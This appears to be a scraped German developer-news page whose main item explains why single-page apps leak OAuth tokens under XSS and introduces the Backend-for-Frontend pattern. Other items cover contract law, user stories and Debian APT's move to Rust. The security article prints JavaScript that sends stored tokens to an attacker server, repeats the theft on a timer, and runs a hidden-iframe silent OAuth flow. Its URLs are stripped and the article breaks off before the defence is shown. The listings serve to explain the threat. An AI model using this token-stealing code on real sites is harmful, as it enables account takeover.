Entwicklung & Code
Software Testing: Rechtliche Stolperfallen in Softwareverträgen
 
Richard Seidl hat sich für diese Folge seines Podcasts erneut Sebastian Dietrich eingeladen, um mit ihm über rechtliche Stolpersteine in Softwareprojekten zu sprechen: Es geht um Werkvertrag versus Dienstvertrag, Gewährleistung, Haftung und Warnpflicht.
Weiterlesen nach der Anzeige
Als Gerichtssachverständiger erklärt Sebastian Dietrich, warum Freelancer oft Erfolg schulden und agile Verträge schnell zum Werkvertrag werden, in dem plötzlich das ganze Backlog gilt. Das Duo zeigt, wie Leistungen klar beschrieben, Qualitätskriterien messbar festgelegt und der Stand der Technik als gemeinsamer Prozess dokumentiert werden.
  
Bei diesem Podcast dreht sich alles um Softwarequalität: Ob Testautomatisierung, Qualität in agilen Projekten, Testdaten oder Testteams – Richard Seidl und seine Gäste schauen sich Dinge an, die mehr Qualität in die Softwareentwicklung bringen.
Die aktuelle Ausgabe ist auch auf Richard Seidls Blog verfügbar: „Rechtliche Stolperfallen in Softwareverträgen – Sebastian Dietrich“ und steht auf YouTube bereit.
Ältere Folgen mit Sebastian Dietrich:
Weiterlesen nach der Anzeige
(mdo)
Entwicklung & Code
Keine Chance dem Token-Klau: Das Backend-for-Frontend-Pattern
 
Single-Page Applications (SPAs) haben die Entwicklung von Webanwendungen grundlegend verändert – sie sind schneller, interaktiver und bieten eine desktopähnliche Benutzererfahrung. Doch mit diesem Fortschritt kam ein fundamentales Sicherheitsproblem: Wie speichert man Zugriffstoken sicher im Browser?
Weiterlesen nach der Anzeige
  
    
  
    
  
Martina Kraus beschäftigt sich schon seit frühen Jahren mit der Webentwicklung. Das Umsetzen großer Softwarelösungen in Node.js und Angular hat sie schon immer begeistert. Als selbstständige Softwareentwicklerin arbeitet sie vornehmlich mit Angular mit Schwerpunkt auf Sicherheit in Webanwendungen.
Während traditionelle Serveranwendungen sensible Authentifizierungsdaten sicher serverseitig verwalteten, sind SPAs darauf angewiesen, Access-Token und Refresh-Token direkt im Browser zu speichern – sei es im localStorage, sessionStorage oder im JavaScript-Speicher. Diese Token sind jedoch ein gefundenes Fressen für Angreifer: Ein einziger XSS-Angriff genügt, um vollständigen Zugriff auf Benutzerkonten zu erlangen.
Das Backend-for-Frontend-(BFF)-Pattern verlagert das Token-Management zurück auf den Server, wo es hingehört, ohne die Vorteile moderner Single-Page Applications zu opfern. Dieser Artikel wirft einen praxisnahen Blick auf das Backend-for-Frontend-Pattern, erklärt die dahinterliegenden Sicherheitsprobleme von SPAs und OAuth2 und zeigt, wie sich sichere Authentifizierung in moderne Webanwendungen integrieren lässt. Dabei geht es sowohl um die technischen Implementierungsdetails als auch um die verbleibenden Herausforderungen, wie den Schutz vor Cross-Site Request Forgery (CSRF).
  
    
  
     
      (Bild: jaboy/123rf.com)
    
  
Call for Proposals für die enterJS 2026 am 16. und 17. Juni in Mannheim: Die Veranstalter suchen nach Vorträgen und Workshops rund um JavaScript und TypeScript, Frameworks, Tools und Bibliotheken, Security, UX und mehr. Vergünstigte Blind-Bird-Tickets sind bis zum Programmstart erhältlich.
Das Problem: Token im Frontend
Single-Page Applications sind per Definition „öffentliche Clients“ – sie können keine Geheimnisse sicher speichern, da ihr Code vollständig im Browser ausgeführt wird. Dennoch benötigen sie Zugriffstoken, um auf geschützte APIs zuzugreifen. Die logische Konsequenz: Die Token müssen irgendwo im Browser gespeichert werden. Genau hier liegt das Problem. Ob localStorage, sessionStorage oder In-Memory-Speicherung – alle Ansätze sind anfällig für Cross-Site-Scripting-(XSS)-Angriffe. Eingeschleuster Schadcode kann problemlos auf diese Speicherorte zugreifen und die Token an Angreifer weiterleiten.
Der RFC-Draft „OAuth 2.0 for Browser-Based Applications“ macht das Ausmaß des Problems deutlich: Sobald Angreifer bösartigen JavaScript-Code in der Anwendung ausführen können, haben sie praktisch unbegrenzten Zugriff auf alle im Browser gespeicherten Daten – einschließlich sämtlicher Zugriffstoken.
Weiterlesen nach der Anzeige
Es folgen einige dieser Angriffsvektoren im Detail.
Single-Execution Token Theft
Der direkteste Angriff: JavaScript-Code durchsucht alle verfügbaren Speicherorte im Browser und sendet gefundene Token an einen vom Angreifer kontrollierten Server:
// Angreifer-Code extrahiert Token
const accessToken = localStorage.getItem('access_token');
const refreshToken = sessionStorage.getItem('refresh_token');
fetch(' {
  method: 'POST',
  body: JSON.stringify({accessToken, refreshToken})
});
Listing 1: Typische Attacke per Single-Execution Token Theft
Dieser Angriff funktioniert unabhängig davon, wo Token gespeichert sind. Ob localStorage, sessionStorage oder in Memory (in einer JavaScript-Variable) – der Angreifer hat denselben Zugriff wie die legitime Anwendung.
Schutzmaßnahmen und ihre Grenzen
Eine kurze Token-Lebensdauer (etwa 5-10 Minuten) kann den Schaden begrenzen, aber nicht verhindern. Wenn der Angriff innerhalb der Token-Lebensdauer stattfindet, ist er erfolgreich. Eine bessere Schutzmaßnahme ist die Aktivierung der Refresh Token Rotation. Hierbei wird bei jedem Token-Refresh das alte Refresh-Token invalidiert und ein neues ausgegeben:
  

Refresh Token Rotation
(Bild: Martina Kraus)
Wie die obige Abbildung zeigt, erhält man zu jedem neuen Access-Token einen neuen Refresh-Token. Angenommen, der Angreifer würde das Token-Paar einmalig stehlen, so erhielte dieser zwar temporären Zugriff während der Access-Token-Lebensdauer, aber bei der ersten Verwendung des gestohlenen Refresh-Tokens würde der Token-Provider eine Token-Wiederverwendung aufspüren (Refresh Token Reuse Detection). Dies löst eine vollständige Invalidierung der Token-Familie aus – sowohl das kompromittierte Refresh-Token als auch alle damit verbundenen Token werden sofort widerrufen, was weiteren Missbrauch verhindert.
  

Refresh Token Reuse Detection
(Bild: Martina Kraus)
Persistent Token Theft
Diese Schutzmaßnahme versagt jedoch komplett bei Persistent Token Theft. Statt Token einmalig zu stehlen, stiehlt hierbei der kontinuierlich überwachende Angreifer immer die neuesten Token, bevor die legitime Anwendung sie verwenden kann. Ein Timer-basierter Mechanismus extrahiert alle paar Sekunden die neuesten Token:
// Angreifer installiert kontinuierliche Token-Überwachung
function stealTokensContinuously() {
  const currentTokens = {
    access: localStorage.getItem('access_token'),
    refresh: localStorage.getItem('refresh_token')
  };
 // Neue Token sofort an Angreifer senden
 fetch(' {
    method: 'POST',
    body: JSON.stringify({
      timestamp: Date.now(),
      tokens: currentTokens
    })
  });
}
// Überwachung alle 10 Sekunden
setInterval(stealTokensContinuously, 10000);
Listing 2: Persistent Token Theft
Diese Attacke funktioniert durch eine implizite Application Liveness Detection: Der kontinuierliche Token-Diebstahl überträgt dem Angreifer-Server nicht nur die Token, sondern fungiert gleichzeitig als „Heartbeat-Signal“ der kompromittierten Anwendung. Schließt der Nutzer den Browser oder navigiert weg, bricht dieser Heartbeat ab – der Angreifer erkennt sofort, dass die legitime Anwendung offline ist. In diesem Zeitfenster kann er das zuletzt gestohlene Refresh-Token gefahrlos für eigene Token-Requests verwenden, ohne eine Refresh Token Reuse Detection zu triggern, da keine konkurrierende Anwendungsinstanz mehr existiert, die dasselbe Token parallel verwenden könnte.
Aktuelle OAuth2-Sicherheitsrichtlinien für SPAs zielen darauf ab, die JavaScript-Zugänglichkeit von Token zu reduzieren. Führende Identity Provider wie Auth0 by Okta raten explizit von localStorage-basierter Token-Persistierung ab und empfehlen stattdessen In-Memory-Storage mit Web-Worker-Sandboxing als Schutz vor XSS-basierten Token-Extraction-Angriffen – selbst wenn dies Session-Kontinuität über Browser-Neustarts hinweg verhindert.
Diese defensiven Token-Storage-Strategien wirken jedoch nur in einem Teil der Angriffsoberfläche. Selbst bei optimaler In-Memory-Isolation mit Web-Worker-Sandboxing bleibt ein fundamentales Architekturproblem bestehen: SPAs agieren als öffentliche OAuth-Clients ohne Client-Secret-Authentifizierung. Diese Client-Konfiguration ermöglicht es Angreifern, die Token-Storage-Problematik vollständig zu umgehen und stattdessen eigenständigen Authorization Code Flow zu initiieren – ein Angriffsvektor, der unabhängig von der gewählten Token-Speicherstrategie funktioniert.
Acquisition of New Tokens
Bei dem Angriff namens Acquisition of New Tokens ignoriert der Angreifer bereits vorhandene Token komplett und startet stattdessen einen eigenen, vollständig neuen Authorization Code Flow. Das ist besonders heimtückisch, weil er dabei die noch aktive Session des Nutzers oder der Nutzerin beim Token-Provider ausnutzt.
Dabei erstellt der Angreifer ein verstecktes iFrame und startet einen legitimen OAuth-Flow:
// Angreifer startet eigenen OAuth-Flow
function acquireNewTokens() {
  // Verstecktes iframe erstellen
  const iframe = document.createElement('iframe');
  iframe.style.display = 'none';
  
  // Eigenen PKCE-Flow vorbereiten
  const codeVerifier = generateRandomString(128);
  const codeChallenge = base64URLEncode(sha256(codeVerifier));
  const state = generateRandomString(32);
  
  // Authorization URL konstruieren
  iframe.src = ` +
    `response_type=code&` +
    `client_id=legitimate-app&` + // Nutzt die echte Client-ID!
    `redirect_uri= +
    `scope=openid profile email api:read api:write&` +
    `state=${state}&` +
    `code_challenge=${codeChallenge}&` +
    `code_challenge_method=S256&` +
    `prompt=none`; // Wichtig: Keine Nutzer-Interaktion erforderlich!
  
  document.body.appendChild(iframe);
  
  // Callback-Handling vorbereiten
  window.addEventListener('message', handleAuthCallback);
}
function handleAuthCallback(event) {
  if (event.origin !== ' return;
  
  const authCode = extractCodeFromUrl(event.data.url);
  if (authCode) {
    // Authorization Code gegen Tokens tauschen
    exchangeCodeForTokens(authCode);
  }
}
Listing 3: Acquisition of New Tokens
Der Token-Provider kann diesen Angreifer-initiierten Flow nicht von einer legitimen Anwendungsanfrage unterscheiden, da alle Request-Parameter identisch sind. Entscheidend ist dabei der prompt=none-Parameter, der eine automatische Authentifizierung ohne User-Interaktion ermöglicht. Diese Silent Authentication funktioniert durch Session-Cookies, die der Token-Provider zuvor im Browser des Nutzers gesetzt hat, um dessen Anmeldestatus zu verfolgen. Diese Session-Cookies lassen sich automatisch auch über das versteckte iFrame übertragen und validieren den Angreifer-Flow als legitime Anfrage einer bereits authentifizierten Session.
Die Grundvoraussetzung aller beschriebenen Angriffsvektoren ist die erfolgreiche Ausführung von Cross-Site-Scripting-Code im Kontext der Anwendung. Das wirft eine fundamentale Frage auf: Stellt Cross-Site Scripting (XSS) in modernen Webanwendungen überhaupt noch eine realistische Bedrohung dar?
XSS galt lange als gelöstes Problem – moderne Browser haben umfassende Schutzmaßnahmen implementiert, Frameworks bieten automatisches Escaping, und Entwicklerinnen und Entwickler sind für die Gefahren sensibilisiert. Doch die Realität zeigt ein anderes Bild: Derartige Angriffe haben sich weiterentwickelt und nutzen neue Angriffsvektoren, die klassische Schutzmaßnahmen umgehen.
Supply-Chain-Attacken als Hauptbedrohung
Moderne Single-Page Applications integrieren durchschnittlich Hunderte von npm-Paketen. Ein einziges kompromittiertes Paket in der Dependency Chain genügt für vollständige Codeausführung im Browser. Das prominenteste Beispiel war das 2018 kompromittierte npm-Package event-stream mit zwei Millionen wöchentlichen Downloads, das gezielt Bitcoin-Wallet-Software angriff.
Content Security Policy kann nicht zwischen legitimen und kompromittierten npm-Paketen unterscheiden – der schädliche Code wird von einer vertrauenswürdigen Quelle geladen und ausgeführt. Ähnlich problematisch sind kompromittierte Content Delivery Networks oder Third-Party-Widgets wie Analytics-Tools, Chatbots oder Social-Media-Plug-ins.
Browser-Erweiterungen und DOM-basierte Angriffe
Kompromittierte Browser-Erweiterungen haben vollständigen Zugriff auf alle Tabs und können beliebigen Code in jede Website injizieren. Gleichzeitig ermöglichen DOM-basierte XSS-Angriffe über postMessage-APIs oder unsichere DOM-Manipulation die Umgehung vieler serverseitiger Schutzmaßnahmen. Besonders geschickt sind Polyglot-Angriffe, die JSONP-Endpoints oder andere vertrauenswürdige APIs missbrauchen, um Content Security Policy zu umgehen – der Schadcode erscheint als legitimer Request von einer erlaubten Quelle.
Diese modernen XSS-Varianten sind besonders raffiniert, weil sie Vertrauen missbrauchen. Der schädliche Code stammt scheinbar von vertrauenswürdigen Quellen, wird oft zeitverzögert oder nur unter bestimmten Bedingungen ausgeführt und umgeht dadurch sowohl technische Schutzmaßnahmen als auch menschliche Aufmerksamkeit. Ein kompromittiertes npm-Paket betrifft dabei nicht nur eine Anwendung, sondern wird über den Package Manager an tausende von Projekten verteilt – ein einzelner Angriff kann so eine massive Reichweite erzielen.
Entwicklung & Code
Die Produktwerker: Wie viel Zeit darf das Erstellen von User Stories kosten?
 
Wie viel Zeit sollten Product Owner eigentlich in das Schreiben von User Stories investieren? Darüber sprechen Dominique Winter und Tim Klein in dieser Podcastfolge. Wenn der Kalender voll ist und die To-do-Liste überquillt, wirkt das Story-Schreiben schnell wie eine lästige Pflicht. Viele betrachten es als reine Schreibarbeit. In Wahrheit ist es jedoch vor allem Denk- und Teamarbeit.
Weiterlesen nach der Anzeige
Eine gute User Story entsteht nicht allein am Schreibtisch, sondern im Gespräch. Sie ist das sichtbare Ergebnis gemeinsamer Klärung und ein Zeichen dafür, dass ein Team ein gemeinsames Verständnis erreicht hat. Das Schreiben von User Stories dient daher weniger der Dokumentation als der Verständigung. Eine Story ist kein statisches Artefakt, sondern ein Kommunikationswerkzeug, das an ein Gespräch erinnert, in dem klar wird, welches Nutzerproblem gelöst werden soll.
  
    
  
     
      (Bild: deagreez/123rf.com)
    
  
So geht Produktmanagement: Auf der Online-Konferenz Product Owner Day von dpunkt.verlag und iX am 13. November 2025 kannst du deinen Methodenkoffer erweitern und dich von den Good Practices anderer Unternehmen inspirieren lassen.
Das Ziel im Blick behalten
Manche Teams versuchen, Sicherheit durch besonders ausführliche Formulierungen zu schaffen und verlieren dabei leicht das eigentliche Ziel aus den Augen. Gute User Stories entstehen, wenn Teams gemeinsam begreifen, worum es geht – nicht, wenn jedes Detail schriftlich fixiert wird. Sie sind eine Einladung zum Dialog, sollen Empathie für Nutzerinnen und Nutzer wecken sowie den Blick auf deren Bedürfnisse richten. In dieser Haltung wird das Schreiben von Stories zu einem Werkzeug, das Orientierung schafft. Wenn Teams verstehen, warum etwas wichtig ist, finden sie auch den passenden Weg dorthin. Manchmal genügt ein einziger Satz, um eine Idee zu verankern und das Gespräch darüber am Laufen zu halten.
  
Organisationen gehen sehr unterschiedlich mit User Stories um. In großen Unternehmen wird häufig zu viel dokumentiert – oft, weil es der gewohnte Weg ist. Start-ups hingegen schreiben meist zu wenig auf. Beides zeigt ein Ungleichgewicht zwischen Vertrauen und Kontrolle. Teams, die ihre Prozesse kennen und einander vertrauen, benötigen keine langen Texte. Sie verlassen sich auf Dialog und gemeinsame Verantwortung. Wie viel Zeit in die Story-Erstellung fließt, hängt daher stark von der Reife eines Teams ab. Eingespielte Teams mit tiefem Produktverständnis kommen mit wenigen Worten aus, während neue Teams mehr Austausch benötigen, um ein gemeinsames Verständnis aufzubauen. In jedem Fall sollte die Energie eher in Nachdenken und Reflexion fließen als in das Polieren von Formulierungen.
Zehn-Prozent-Regel und KI-Einsatz
Weiterlesen nach der Anzeige
Hilfreich ist die bekannte Zehn-Prozent-Regel: Rund zehn Prozent der Sprintzeit sollten in die Erstellung und das gemeinsame Refinement des Backlogs investiert werden. Diese Zeit schafft Klarheit über Ziele, Annahmen und Prioritäten. Wer hier spart, zahlt später mit Missverständnissen und Nacharbeit.
Auch Künstliche Intelligenz (KI) kann unterstützen – etwa durch Strukturvorschläge oder Formulierungsideen. Doch sie ersetzt kein gemeinsames Denken. Eine automatisch erzeugte Story ist noch keine Story, solange nicht darüber gesprochen wird. KI kann inspirieren, aber kein echtes Verständnis schaffen. Am Ende braucht es immer Menschen, die beurteilen können, ob das Ergebnis wirklich gut ist. Gute User Stories entstehen in Gesprächen, nicht in Tools. Sie schaffen ein gemeinsames Bild des Nutzerproblems und machen die Produktentwicklung wirkungsvoller. Teams, die sich Zeit für den Austausch nehmen, gewinnen Klarheit – und diese Klarheit ist die beste Grundlage für jedes gute Produkt.
Die aktuelle Ausgabe des Podcasts steht auch im Blog der Produktwerker bereit: „Wie viel Zeit darf User-Story-Erstellung kosten – hilft uns KI dabei?„
(mai)
Entwicklung & Code
Debian APT bekommt ab Mai 2026 harte Rust-Abhängigkeit
 
Der Debian-Entwickler Julian Andres Klode hat angekündigt, ab Mai 2026 harte Rust-Abhängigkeiten in den Paketmanager APT einzuführen. Künftig werden zentrale Teile von APT in der Programmiersprache Rust implementiert. Betroffen sind unter anderem der Code zum Parsen von .deb-, .ar- und .tar-Archiven sowie die HTTP-Signaturverifizierung.
Weiterlesen nach der Anzeige
APT (Advanced Package Tool) ist das zentrale Werkzeug zur Paketverwaltung in Debian und darauf basierenden Distributionen wie Ubuntu. Die geplante Umstellung auf Rust betrifft damit eine der grundlegendsten Systemkomponenten der Distribution. Klode begründet den Schritt mit den Vorteilen speichersicherer Programmiersprachen und besseren Möglichkeiten für Unit-Tests.
Die Rust-Integration umfasst zunächst den Rust-Compiler, die Standardbibliothek und das Sequoia-Ökosystem. Sequoia ist eine OpenPGP-Implementierung in Rust, die bereits in verschiedenen Projekten zum Einsatz kommt. Durch den Einsatz von Rust sollen typische Speicherfehler wie Buffer Overflows oder Use-after-Free vermieden werden, die in C und C++ häufige Sicherheitslücken eröffnen.
Die Ankündigung richtet sich explizit auch an Maintainer weniger verbreiteter Debian-Ports. Architekturen wie m68k, hppa (HP PA-RISC), sh4 (SuperH) und Alpha adressiert Klode in der Nachricht direkt. Diese Ports haben nun sechs Monate Zeit, eine funktionierende Rust-Toolchain bereitzustellen – andernfalls droht die Einstellung des Supports.
Modernisierung versus Retro-Hardware
Klode betont in seiner Nachricht, dass es für das Projekt wichtig sei, sich weiterzuentwickeln und auf moderne Technologien zu setzen. Man könne nicht zulassen, dass die Distribution durch den Versuch ausgebremst werde, moderne Software auf Retro-Computing-Geräte zu portieren. Diese Haltung dürfte in der Community durchaus kontrovers diskutiert werden, da Debian traditionell eine sehr breite Hardwareunterstützung anstrebt.
Die Entscheidung reiht sich in einen größeren Trend ein: Auch der Linux-Kernel hat mit der Integration von Rust begonnen, um sicherheitskritische Komponenten schrittweise in der speichersicheren Sprache zu implementieren. Rust hat sich in den vergangenen Jahren als bevorzugte Alternative zu C und C++ für systemnahe Programmierung etabliert, wenn es um Sicherheit und Zuverlässigkeit geht.
Weiterlesen nach der Anzeige
Für Nutzer von Debian auf gängigen Architekturen wie x86-64, ARM oder RISC-V dürfte die Umstellung transparent verlaufen, da Rust für diese Plattformen bereits vollständig unterstützt wird. Die Frist bis Mai 2026 gibt den Maintainern kleinerer Ports zumindest etwas Zeit, entweder eine Rust-Toolchain zu implementieren oder ihre Ports offiziell einzustellen.
Die vollständige Ankündigung findet sich in einer Nachricht an die Debian-Entwicklerlisten.
Lesen Sie auch
(fo)
- 
																	
										
																			UX/UI & Webdesignvor 3 MonatenDer ultimative Guide für eine unvergessliche Customer Experience
 - 
																	
										
																			UX/UI & Webdesignvor 2 MonatenAdobe Firefly Boards › PAGE online
 - 
																	
										
																			Social Mediavor 3 MonatenRelatable, relevant, viral? Wer heute auf Social Media zum Vorbild wird – und warum das für Marken (k)eine gute Nachricht ist
 - 
																	
										
																			UX/UI & Webdesignvor 2 WochenIllustrierte Reise nach New York City › PAGE online
 - 
																	
										
																			Apps & Mobile Entwicklungvor 2 MonatenGalaxy Tab S10 Lite: Günstiger Einstieg in Samsungs Premium-Tablets
 - 
																	
										
																			Entwicklung & Codevor 3 MonatenPosit stellt Positron vor: Neue IDE für Data Science mit Python und R
 - 
																	
										
																			Entwicklung & Codevor 2 MonatenEventSourcingDB 1.1 bietet flexiblere Konsistenzsteuerung und signierte Events
 - 
																	
										
																			UX/UI & Webdesignvor 2 MonatenFake It Untlil You Make It? Trifft diese Kampagne den Nerv der Zeit? › PAGE online
 
